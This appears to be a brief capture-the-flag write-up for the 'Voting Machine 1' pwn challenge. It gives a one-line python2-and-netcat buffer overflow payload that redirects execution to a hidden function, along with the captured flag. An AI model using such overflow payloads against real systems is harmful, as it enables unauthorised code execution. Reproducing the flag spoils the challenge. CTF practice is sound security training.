ctftime

My solutions for various CTF challenges

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Voting Machine 1

pwn - Points: 33

In a world with many uncertainties we need some kind of structure. Democracy is a big part of that, therefore we need voting machines! Well, at least if they are safeā€¦

nc 13.48.67.196 50000

Solution

Overflow the buffer to redirect execution to the super_secret_function.

python2 -c "print('A'*10+'\x07\x08\x40\x00\x00\x00\x00\x00')" | nc 13.48.67.196 50000

flag : watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}